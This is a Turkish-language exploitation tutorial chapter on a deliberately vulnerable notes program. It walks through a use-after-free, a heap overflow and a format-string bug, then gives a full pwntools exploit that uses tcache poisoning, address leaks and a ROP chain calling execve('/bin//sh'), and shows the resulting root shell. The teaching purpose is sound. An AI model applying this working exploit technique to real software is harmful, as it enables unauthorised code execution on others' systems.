Skip to content

Latest commit

 

History

History
436 lines (376 loc) · 16.1 KB

0x7.md

File metadata and controls

436 lines (376 loc) · 16.1 KB

Hedefimiz

Bu bölümde hedefimiz, programın akışını değiştirerek bir shell çalıştırmak olacak.

Kod analizi

Yeni programın kaynak koduna baktığımızda, şuana kadarki en uzun program olduğunu görüyoruz. Ama bunun sizi korkutmasına izin vermeyin.

Basitçe göz gezdirdiğinizde, bu program bir çeşit not applikasyonu, bize bir not ekleme/değiştirme, okuma ve silme özelliği sunuyor:

int print_menu() {
  int opt = 0;

  puts("==== Secure Notes ====");
  puts("1. Add/edit a note");
  puts("2. Read a note");
  puts("3. Delete a note");
  puts("4. Quit");

  printf("Please select an option: ");
  scanf("%d", &opt);

  return opt;
}

...

int main() {
  int opt = 0;

  while (1) {
    switch (opt = print_menu()) {
    case OPTS_EDIT:
      opt_edit();
      break;

    case OPTS_READ:
      opt_read();
      break;

    case OPTS_DEL:
      opt_del();
      break;

    case OPTS_EXIT:
      return 0;

    default:
      printf("Invalid option: %d\n", opt);
      break;
    }
  }
}

Her opsiyonun kendisine ait bir fonksiyonu mevcut.

Aynı zamanda bu programda birden fazla hata mevcut, ilk olarak bir UAF (use-after-free) söz konusu:

void opt_del() {
  int i = 0;

  if ((i = note_get(NULL)) < 0)
    return;

  free(notes[i]);
}

Bir not silindikten sonra, not için ayrılan bellek alanı serbest bırakılıyor, ancak bu bellek alanına işaret eden pointer NULL olarak değiştirilmediğinden, tekrar aynı notu editlemek istediğimiz zaman, aynı bellek alanına yazıyoruz:

void opt_edit() {
  int i = 0;

  if ((i = note_get(NULL)) < 0)
    return;

  if (NULL == notes[i])
    notes[i] = malloc(NOTE_SIZE);

  puts("Please enter your note");
  scanf("%s", notes[i]);
}

Burda if (NULL == notes[i]) başarısız olacağından, dediğim gibi aynı, serbest bırakılan bellek alanı kullanılacak. Cebimizde bir UAF var, ama gördüğünüz gibi burda hatalı bir scanf() kullanımından kaynaklı bir heap overflow (heap OOB write) da söz konusu.

Son olarak okuma fonksiyonuna bakarsak:

void opt_read() {
  char *note = NULL;

  if (note_get(&note) < 0)
    return;

  puts("----------------------");
  printf(note);
  puts("\n----------------------");
}

Burda ise, hatalı printf(note) çağrısı yüzünden bir format string zafiyeti var.

Zafiyetleri bulduğumuza göre, hadi programın nasıl derlendiğine bakalım (Makefile):

	gcc -fstack-protector-all -static-pie -o $@ $^

Derleme şekli 0x5 ile aynı. Ancak -fstack-protector yerine -fstack-protector-all kullanılmış. Bu iki flag'in farkı bu wikipedia sayfasında güzelce açıklanmış:

From 2001 to 2005, IBM developed GCC patches for stack-smashing protection, known as ProPolice. It improved on the idea of StackGuard by placing buffers after local pointers and function arguments in the stack frame. This helped avoid the corruption of pointers, preventing access to arbitrary memory locations.

Red Hat engineers identified problems with ProPolice though, and in 2005 re-implemented stack-smashing protection for inclusion in GCC 4.1. This work introduced the -fstack-protector flag, which protects only some vulnerable functions, and the -fstack-protector-all flag, which protects all functions whether they need it or not.

Basitçe, Red Hat'in stack-smashing korumasını tekrar implemente etmesi sonucu eklenen -fstack-protector-all flag'i, tüm fonksiyonlara stack protector'a yani çereze ihtiyaçları olsa da olmasa da bu çerez korumasını ekliyor.

Exploit

Hadi ilk olarak elimizde olanları toplayarak exploit'imizi planlayalım. Elimizde bir UAF, bir heap overflow ve bir format string zafiyeti var. Önceki bölümden hatırlarsanız, tcache'yi zehirleyerek malloc()un bir stack adresi döndürmesini başarmıştık. Aynısını burda da yapabiliriz. Ardından heap overflow, stack overflow'a dönmüş olur ve 0x5 yaptığımız gibi ROP ile shell alabiliriz.

Hadi bize gerekenleri ve bunları nasıl toplayabileceğimizi düşünelim:

  • Bir tcache olan chunk'ın next pointerını modifiye etmek, bunu UAF ile yapabiliriz.
  • next pointer'ını modifiye edebilmek için, modifiye ediceğimiz chunk'ın adresini leaklemek (PROTECT_PTRı hatırlayın), bunu yapmak için format string zafiyetini kullanabiliriz, sonuçta opt_read, note'un adresini stack'de tutuyor.
  • Stack adresini almak, yeni bir not oluşturarak tcache'ye yerleştirdiğimiz stack adresini ele geçirebiliriz.
  • Stack adresine yazmak, bunu da scanf() overflow'u aracılığı ile yapabiliriz.
  • ROP ile shell almak, bunun için binary'nin base adresi gerecek, bunu da opt_readdeki format string zafiyeti ile leaklediğimiz bir adresten offset alarak elde edebiliriz

Adresleri leaklemek

GDB ile programı (ASLR test aşamasında kapalı kalabilir) çalıştırıp yeni bir not oluşturup, opt_reade dönüşe bir breakpoint koyup, format string zafiyetini kullanarak stack'i leakleyelim

...
(gdb) r
Starting program: /root/0x7/0x7.elf
==== Secure Notes ====
1. Add/edit a note
2. Read a note
3. Delete a note
4. Quit
Please select an option: 1
Please enter the number of the node: 1
Please enter your note
%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
==== Secure Notes ====
1. Add/edit a note
2. Read a note
3. Delete a note
4. Quit
Please select an option: 2
Please enter the number of the node: 1
----------------------
0x1,0x1,0x7ffff7f73620,0x2,0x7ffff7ff7520,0x7ffff8000ef0,0x8bce0fac60139600,0x7fffffffe340,0x7ffff7f33ad8,0x200003ae8,0x8bce0fac60139600,0x7ffff7ff3530,0x7ffff7f33e54,0x3ae8,0x7ffff7f33a71,0x100000018,0x7fffffffe508,0x7fffffffe518,0x8c5a9
9991f3e5197,0x1,0x7fffffffe508,0x1,0x1,0x8c5a8998b3fe5197,0x8c5a998109405197,(nil),(nil),(nil),0x7ffff7f75433,(nil),(nil),0x1,0x7ffff7f35550,(nil),0x7fffffffe4a0,0xc00000,0x200000,0x8000
----------------------

Breakpoint 3, 0x00007ffff7f33a06 in opt_read ()
(gdb) x/10gx $rsp
0x7fffffffe328: 0x00007ffff7f33ad8      0x0000000200003ae8
0x7fffffffe338: 0x8bce0fac60139600      0x00007ffff7ff3530
0x7fffffffe348: 0x00007ffff7f33e54      0x0000000000003ae8
0x7fffffffe358: 0x00007ffff7f33a71      0x0000000100000018
0x7fffffffe368: 0x00007fffffffe508      0x00007fffffffe518
(gdb) info proc mappings
process 55513
Mapped address spaces:

          Start Addr           End Addr       Size     Offset  Perms  objfile
      0x7ffff7f24000     0x7ffff7f28000     0x4000        0x0  r--p   [vvar]
      0x7ffff7f28000     0x7ffff7f2a000     0x2000        0x0  r-xp   [vdso]
      0x7ffff7f2a000     0x7ffff7f33000     0x9000        0x0  r--p   /root/0x7/0x7.elf
      0x7ffff7f33000     0x7ffff7fc8000    0x95000     0x9000  r-xp   /root/0x7/0x7.elf
      0x7ffff7fc8000     0x7ffff7ff3000    0x2b000    0x9e000  r--p   /root/0x7/0x7.elf
      0x7ffff7ff3000     0x7ffff7ff7000     0x4000    0xc9000  r--p   /root/0x7/0x7.elf
      0x7ffff7ff7000     0x7ffff7ffa000     0x3000    0xcd000  rw-p   /root/0x7/0x7.elf
...

İlk olarak gözüme çarpan adres 0x7ffff7ff7520, 5. pozisyonda, bu adres gördüğünüz gibi doğrudan dosyadan yüklenmiş (0x7ffff7ff7000-0x7ffff7ffa000 aralığında), base ile arasında 0x7ffff7ff7520-0x7ffff7f2a000 hesabından 0xcd520 offset var. İkinci dikkat çeken adres, 6. pozisyonda 0x7ffff8000ef0, bu bir heap adresi. Eğer notes listesine bakarsak:

(gdb) x/10gx &notes
0x7ffff7ff92c0 <notes>: 0x00007ffff8000ef0      0x0000000000000000
0x7ffff7ff92d0 <notes+16>:      0x0000000000000000      0x0000000000000000
0x7ffff7ff92e0 <notes+32>:      0x0000000000000000      0x0000000000000000
0x7ffff7ff92f0 <notes+48>:      0x0000000000000000      0x0000000000000000
0x7ffff7ff9300 <notes+64>:      0x0000000000000000      0x0000000000000000

Bu özünde allocate ettiğimiz bu yeni notun adresi. Son olarak 8. pozisyonda 0x7fffffffe340 bir stack adresi. Bu adres main()in __libc_start_call_main içindeki dönüş adresinden 8 byte önce geliyor:

(gdb) x/10gx 0x7fffffffe340
0x7fffffffe340: 0x00007ffff7ff3530      0x00007ffff7f33e54
0x7fffffffe350: 0x0000000000003ae8      0x00007ffff7f33a71
0x7fffffffe360: 0x0000000100000018      0x00007fffffffe508
0x7fffffffe370: 0x00007fffffffe518      0x8c5a99991f3e5197
0x7fffffffe380: 0x0000000000000001      0x00007fffffffe508

Bu harika çünkü bu adresi kullanırsak, 7. pozisyondaki stack çerezini leakleyip doğru yere yerleştirmek ile endişlenmek zorunda kalmayız. Çünkü yazıcağımız nokta stack çerezinden önce (mantıksal olarak önce, adres olarak sonra) geliyor.

Tamam, o zaman leaklemek istediğimiz pozisyonlar 5, 6 ve 8, bunu %5$p,%6$p,%8$p payload'ı ile yapabiliriz.

İlk adresden 0xCD520 çıkarıp ELF'in base adresini hesaplayacağız. İkinci adresi, chunk'ın next adresini hesaplamak için kullancağız. Üçüncü adresi sıradaki stack adresi, nextin işaret ettiği adres olacak. Bu adresin 16 byte hizalı olması önemli, çünkü hatırlarsanız glibc kaynağında malloc/malloc.cde gördüğümüz gibi tcache'den entry almada kullanılan fonksiyon her zaman sıradaki entry'nin hizalı olduğundan emin olumayı seviyor:

/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  Removes chunk from the middle of the
   list.  */
static __always_inline void *
tcache_get_n (size_t tc_idx, tcache_entry **ep)
{
  tcache_entry *e;
  if (ep == &(tcache->entries[tc_idx]))
    e = *ep;
  else
    e = REVEAL_PTR (*ep);

  if (__glibc_unlikely (!aligned_OK (e)))
    malloc_printerr ("malloc(): unaligned tcache chunk detected");

Eğer bu 16 hizalı bir adres olmasaydı, çıkarma/ekleme yaparak uygun bir hizaya getirirdik, yani bu hiza söz konusu olmasa bile ciddi bir sorun olmazdı.

next pointer'ını modifiye etmek

Öncellikle, tcache'in iki tane chunk'a sahip olduğunu düşünmesi lazım, doğrudan tek bir chunk allocate edip, free'leyip nexti modifye edersek, tcache'nin counts listesi 1 değerine sahip olacağından, yaptığımız sıradaki allocation'lar stack adresini döndürmeyecektir.

Bunun için en az iki nota ihtiyacımız var. Ardından notlardan next pointer'ını modifiye edeceğimiz not, son sırada olacak şekilde notları silerek free()leyeceğiz. Bu durumda tcache aşağıdaki duruma sahip olacaktır:

ilk not -> ikinci not

Sonra UAF'yi kullanarak bu next adresini modifye ediceğimiz notu editleyip, PROTECT_PTR ile hesapladığımız stack adresini yazacağız. next pointerı artık modifiye edildiğinden, tcache'in durumu şuana dönüşecektir:

ilk not -> stack adresi

Şimdi iki not daha oluşturursak, ikinci notun malloc() çağrısı ile alacağı adres stack adresi olacaktır.

ROP ile shell almak

Bu noktada sonra, stack adresine sahip yeni notu editleyip, doğrudan ROP payloadımızı nota yerleştirebiliriz. Stacka adresi dönüş adresinden 8 byte önce geldiğinden, önce 8 byte'lık bir padding'imiz olacak. Ardından ROP için pwntools'un ROP() özelliğini kullanacağım, doğrudan ROP adreslerini bulup döndürmek için bir fonksiyon yazdım:

def find(gadget):
  found = rop.find_gadget(gadget)

  if found == None:
    error(f"Gadget not found: {gadget}")

  return p64(found.address)

Fakat bazı gadget'ları 0x5de yaptığımız gibi ropper ile bulmamız gerekecek. Bunun dışında kullanacağımız ROP 0x5deki ROP ile birebir aynı, yine ret2sys ile execve() sistem çağrısını çağıracağız.

Bu noktadan sonra, main()in dönüş adresi modifiye edilmiş olacaktır. Tek yapmamız gereken programın bize sunduğu 4. opsiyon (OPTS_EXIT) ile main()den dönüş yapmak olacaktır.

Hepsini birleştirmek

Hadi şimdi tüm parçaları birer birer oluşturup, en sonunda birleştirelim, ilk importlarımız ve find() fonksiyonumuz var (rop daha sonra, find() çağrılmadan tanımlanacak):

from pwn import *

context.update(arch="amd64", os="linux")
elf = context.binary = ELF("./0x7.elf")
p = process("./0x7.elf")

def find(gadget):
  found = rop.find_gadget(gadget)

  if found == None:
    error(f"Gadget not found: {gadget}")

  return p64(found.address)

Ardından PROTECT_PTRın yapacağını yapacak bir fonskiyonumuz var:

def protect(addr, ptr):
  return (addr >> 12) ^ ptr

Ve programın bize sunduğu her opsiyon için bir fonksiyon:

def edit(i, data):
  p.sendline(b"1")
  p.sendline(b"%d" % i)
  p.sendline(data)

def read(i):
  p.sendline(b"2")
  p.sendline(b"%d" % i)

  p.recvuntil(b"--")
  p.recvline()

  data = p.recvline()
  data = data[:-1]

  p.recvline()
  return data

def delete(i):
  p.sendline(b"3")
  p.sendline(b"%d" % i)

Bize tcache'yi zehirlemek için gereken iki notu oluşturalım:

edit(1, b"%5$p,%6$p,%8$p")
edit(2, b"empty")

Gördüğünüz gibi, ilk notu aynı zamanda format string zafiyeti ile istediğimiz adresleri leak'lemek için kullanıyoruz:

leaks = read(1).split(b",")
addr_leak = int(leaks[0], 16)
heap_leak = int(leaks[1], 16)
stack_leak = int(leaks[2], 16)

elf.address = addr_leak - 0xcd520
stack_ptr = protect(heap_leak, stack_leak)

info("Got base address: 0x%x" % elf.address)
info("Got stack address: 0x%x" % stack_leak)
info("Got note 1 heap address: 0x%x" % heap_leak)

Şimdi iki notu da serbest bırakalım:

delete(2) # tcache: 2
delete(1) # tcache: 1 -> 2

Artık ilk notun tcache entry'sinin next pointer'ını modifiye edebiliriz:

edit(1, p64(stack_ptr)) # tcache: 1 -> stack_leak

Şimdi payload'ı oluşturma zamanı:

rop = ROP(elf)

payload  = p64(0) # padding

payload += find(["pop rdx", "pop rbx", "ret"]) # pop rdx; pop rbx; ret;
payload += p64(0)  # rdx
payload += p64(0)  # rbx

payload += find(["pop rsi", "ret"])  # pop rsi; ret;
payload += p64(0)  # rsi

payload += find(["pop rdi", "ret"])  # pop rdi; ret;
payload += p64(elf.bss())  # rdi
payload += p64(elf.address + 0x41b06)  # pop rcx; tzcnt eax, eax; ret;
payload += b"/bin//sh"  # rcx
payload += p64(elf.address + 0x41466)  # mov qword ptr [rdi], rcx; ret;

payload += find(["pop rdi", "ret"])  # pop rdi; ret;
payload += p64(elf.bss())  # rdi

payload += find(["pop rax", "ret"])  # pop rax; ret;
payload += p64(59)  # rax

payload += find(["syscall"])

Şimdi ilk oluşturacağımız not, 1. not ile aynı chunk'ı kullanacak, ve ikinci notumuz stack pointer'ını kullanacak:

edit(3, b"empty") # tcache: stack_leak
edit(4, payload)

Son olarak programdan 4. opsiyon ile çıkış yaparsak, ROP'umuz çalışacak ve bir shell alacağız:

p.sendline(b"4") # quit

p.interactive()
p.close()

Son exploit biraz uzun olduğundan tek parça halinde buraya eklemeyeceğim, ama src/solves/0x7.py dosyasında tüm exploiti tek parça halinde bulabilirsiniz.

Şimdi deneme zamanı:

root@o101:~/0x7# python3 solve.py
[!] Did not find any GOT entries
[*] '/root/0x7/0x7.elf'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './0x7.elf': pid 57075
[*] Got base address: 0x7f6147978000
[*] Got stack pointer: 0x7fff0855ca20
[*] Got note 1 heap address: 0x555575d0eaf0
[*] Loaded 121 cached gadgets for './0x7.elf'
[*] Switching to interactive mode
==== Secure Notes ====
1. Add/edit a note
2. Read a note
3. Delete a note
4. Quit
Please select an option: Please enter the number of the node: ==== Secure Notes ====
1. Add/edit a note
2. Read a note
3. Delete a note
4. Quit
Please select an option: Please enter the number of the node: ==== Secure Notes ====
1. Add/edit a note
2. Read a note
3. Delete a note
4. Quit
Please select an option: Please enter the number of the node: Please enter your note
==== Secure Notes ====
1. Add/edit a note
2. Read a note
3. Delete a note
4. Quit
Please select an option: Please enter the number of the node: Please enter your note
==== Secure Notes ====
1. Add/edit a note
2. Read a note
3. Delete a note
4. Quit
Please select an option: Please enter the number of the node: Please enter your note
==== Secure Notes ====
1. Add/edit a note
2. Read a note
3. Delete a note
4. Quit
$ id
uid=0(root) gid=0(root) groups=0(root)
$

Önceki | Sonraki